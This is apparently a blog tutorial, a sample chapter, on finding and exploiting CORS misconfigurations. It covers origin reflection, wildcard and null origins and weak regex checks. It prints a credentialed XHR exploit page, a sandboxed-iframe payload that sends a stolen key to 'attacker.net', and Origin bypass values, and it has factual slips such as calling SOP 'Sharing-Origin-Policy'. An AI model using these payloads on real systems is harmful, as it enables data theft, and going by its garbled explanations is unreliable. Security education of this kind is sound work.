AlbusSec:- Penetration-List 011 CORS Misconfiguration — Sample

Hi Information Security folk, I hope you liked my previous articles that were on HTML-Injection. However, Today We’ll learn about Cross-Origin-Resource-Sharing Misconfiguration, In which I’ll teach about this misconfiguration, How You’ll detect this vulnerable on the server, and How You’ll Easily write an exploit for this misconfiguration to retrieve Tokens, API Keys, or sensitive user data before We’ve started firstly, I will introduce myself. So, I’m Aniket Tyagi, an Information Technology officer at the 5f eco foundation of India, an Information Security Researcher, and the founder of Albus Security. Without wasting our energy, Let’s get started.

CORS Misconfiguration:-

Before going for misconfiguration of cors, We need to know a little bit about CORS protocol. So CORS stands for Cross-Origin-Resource-Sharing, and it’s one of the most popular and important protocols used in today’s web application that gives the capability to one domain to fetch resources APIKEY, Web fonts, and javascript files from different domains. Without CORS If One domain tries to fetch resources from another domain, it will be denied because of Sharing-Origin-Policy that was implemented on modern browsers. let’s take an example in which there was a website name https://example.com, and this website uses some cookies to keep track of authentication or session logs. On every HTTP request to that domain, the browser will attach these cookies according to the session. Without SOP. If a hacker website could make a request to example.com then they will fetch resources from it such as any APIKey, User cookie, etc. However With SOP(Sharing-Origin-Policy) if an attacker’s website will try to contact a bank site, it will be blocked by SOP. Now If any services work for the bank, they will want some resources from bank sites therefore if that service domain requests resources like user account details to the bank site. due to SOP, their request will be declined. Now that’s a turning point for CORS, But If the bank site configures CORS on their server, and they will give access to that service site for resources, then the Services site will make cross-domain requests to bank sites to fetch some details.

Let’s dig deeper into CORS. When a server has been configured perfectly CORS, Not misconfigured. then Server will use some special headers on that request to determine that the Request enables CORS. So Web-Browsers can use these headers to negotiate whether the process should be continued or fail. Primary Heade was used by the application that helps to determine who can access a particular resource. Basically, that primary header specifies which origin can access the resource.

Access-Control-Allow-Origin:

Before We’ll go for more I would like to tell you about CORS request types. there were two requests: Simple Requests, and Preflight requests. and You’ll easily detect which request is simple or preflight by remembering some points, Also the browser determines which request is used. although, As the Security Researcher You don’t need to know about those points to determine which request is used. but as a “hacker mindset learn everything as much as possible”.

Simple-Requests:- So as a Penetration article, not developing I’ll tell you important things not deep for developing stuff. However, In Simple-Request, GET, POST, or HEAD methods will be used. In the Content-Type header. the following value is allowed: application/x-www-form-urlencoded. And no Readable Stream object or even listeners is used in the request.

Preflight-Requests:- Whenever a request does not follow the points for a simple request, therefore the browser will automatically assign it’s a preflight request using the options method.

Now let’s talk about a real-world scenario. A Simple Request is a CORS Request that doesn’t require a preflight request. However, Suppose a bank site will configure CORS properly and it’ll give access to the service site. but how? So Whenever the service site requests to fetch resources to the bank site. then it’ll initiate a Cross-Origin request to bank sites.

GET /accounts HTTP/1.1
Host: bankofindia.com
Origin: https://www.albussecurity.com
[Rest of request...]

So whenever the server gets this request they will check the Origin request header. So if the Origin value is allowed, then it’ll set that value on Access-Control-Allow-Originin the response.

HTTP/1.1 200 OK  
Access-Control-Allow-Origin: https://www.albussecurity.com
Access-control-allow-credentials: true
Content-Type: application/json
...

Firstly, I’ll tell you about the second header which is Access-Control-Allow-Credentials: trueThis header allows the user to use their credentials. Whenever the browser receives the response from the bank site, then the browser checks the Access-Control-Allow-Origin header and if it matches the origin of the tab. And if not, then the response will be blocked. Otherwise, if values were matched then the response will be accepted.

However, it’s basic stuff for CORS. In the Exploitation Part, We’ll learn possible exploitation that is generated from the improper configuration of CORS on the server. But How does the vulnerability arise? Whenever CORS has not been implemented properly then any domain even a malicious domain, is eligible to access the API endpoints, Session, and PII.

• Exploitation
• Chaining with other vulnerabilities

Exploitation:-

In this topic, We’ll learn about how We’ll identify the vulnerability, and how to exploit it. However, I’ll take the below example. Suppose that the bank site will enable the generate the Access-Control-Allow-Origin dynamically, Overall bank server sites only check the Originheader value, they will not be validating anything. here is a vulnerability because An attacker will change the Generated Origin value to a malicious Origin value.

GET /accounts HTTP/1.1
Host: bankofindia.com
Origin: https://www.attacker.com
[Rest of request...]

And Send it to Server, then it’ll not be validating anything like whether the Origin header value is correct or not. This is how You’ll Identify the vulnerability. You can easily capture an HTTP Request, Add a Custom Origin header, if it’s already present then change the value from generated value to malicious ones. However, the Server will add that malicious value into Access-Control-Allow-Originthe response header. You can easily detect this if the response contains this value

HTTP/1.1 200 OK  
Access-Control-Allow-Origin: https://www.attacker.com
Access-control-allow-credentials: true
Content-Type: application/json
...

This is also called “Origin-Reflection”. The reason is simple You are eligible to define the Origin value and the Server will assign it Access-Control-Allow-Origin

But it’s not a big program. because An attacker will not be able to retrieve any token, Critical Information. But If In response you’ll get Access-Control-Allow-Credentials: truethen it becomes serious because an attacker will be eligible to send a user cookie to the vulnerable domain. Suppose Our bank site is vulnerable to this, then an attacker will eligible to get any user account details by running a small exploit. Basically, An attacker firstly confirms that all criteria will be successes for cors exploitation. if Yes then an attacker will make small javascript code and embed it into the web page that will be sent to the victim.

<html>
   <head>
      <script>
         function cors() {
            var xhttp = new XMLHttpRequest();
                xhttp.onreadystatechange = function() {
                    if (this.readyState == 4 && this.status == 200) {
                        document.getElementById("demo").innerHTML = alert(this.responseText);
            }
         };
         xhttp.open("GET", "Vulnerable-Server", true);
         xhttp.withCredentials = true;
         xhttp.send();
         }
      </script>
   </head>
   <body>
      <div id="demo">
         <button type="button" onclick="cors()">Exploit</button>
      </div>
   </body>

Wildcard Origin:-

Suppose a developer wants to give access to many domains, that the fetched resource, then it will use Wildcard in Access-Control-Allow-Origin

HTTP/1.1 200 OK  
Access-Control-Allow-Origin: *
Access-control-allow-credentials: true 
Content-Type: application/json
...

In this mechanism, there is no need to define Origin header value. But the problem with this mechanism for an attacker is that they’ll not retrieve any request that needs authentication, basically, if the server uses a wildcard then wildcard origin will disable cookie sharing. that’s why this vulnerable scenario is less serious rather than Origin reflection. An attacker will only fetch that data that doesn’t require authentication. To exploit this vulnerable scenario, the code is similar to that used in Origin-Reflection exploitation.

Null Origin:-

Null Origin Value is a Similar mean to Wildcard. Because Whenever a server wants to access all domains, then it might use a null value on access-Allow-Control-Origin. But In this, Scenario An attacker is also eligible to retrieve data from that request who require authentication. You can easily detect this if the response contains this value.

HTTP/1.1 200 OK  
Access-Control-Allow-Origin: null
Access-control-allow-credentials: true 
Content-Type: application/json
...

Now the Important point is how an attacker will create a null origin? So Using a Sandbox iframe can easily be exploited.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html",
<script>
var req = new XMLHttpRequest(); 
req.onload = reqListener; 
req.open('get','https://secure-bank.com/api/getPrivateKey',true); 
req.withCredentials = true;
req.send();

function reqListener() {
    location='//attacker.net/log?key='+this.responseText; 
};
</script>
</iframe>

Because this code will automatically define the null origin, a successful exploit will be done that can be used to retrieve critical information.

Poorly Implementation of Regex:-

Sometimes, the Server validating that the Origin Value. But it’s really that server was not vulnerable to CORS. Not Sure but the Server will be vulnerable because it might be using a bad implementation mechanism that can be bypassed, For example, Suppose A bank site server will validate only that If received Origin Header value ends with bankofindia.com Or Maybe it will validate that value starts with bankofindia.com it will be easily bypassed by attackers. therefore this poorly implemented Regex will cause critical issues.

GET /accounts HTTP/1.1
Host: bankofindia.com
Origin: https://www.attacker-bankofindia.com
Origin: https://www.bankofindia-attacker.com
[Rest of request...]

You can also use some other ASCI char.

Origin: https://www.attacker{.bankofindia.com
Origin: https://www.bankofindiaattacker.com
Origin: https://www.attacker.+bankofindia.com
Origin: https://www.bankofindia.-attacker.com

So finally it’s done for Sample, it’s abridged because I won’t talk about chaining on an article. but for this, You need to wait for a few months, till the book gets published. Very Soon I’ll publish the “Penetration List” Book. In which You’ll get all the topics about vulnerabilities. Because I’ll upload topics as a sample on medium, not a proper section. Thank You For Reading.

You can download a sample of the book:-

Penetration-list-Sample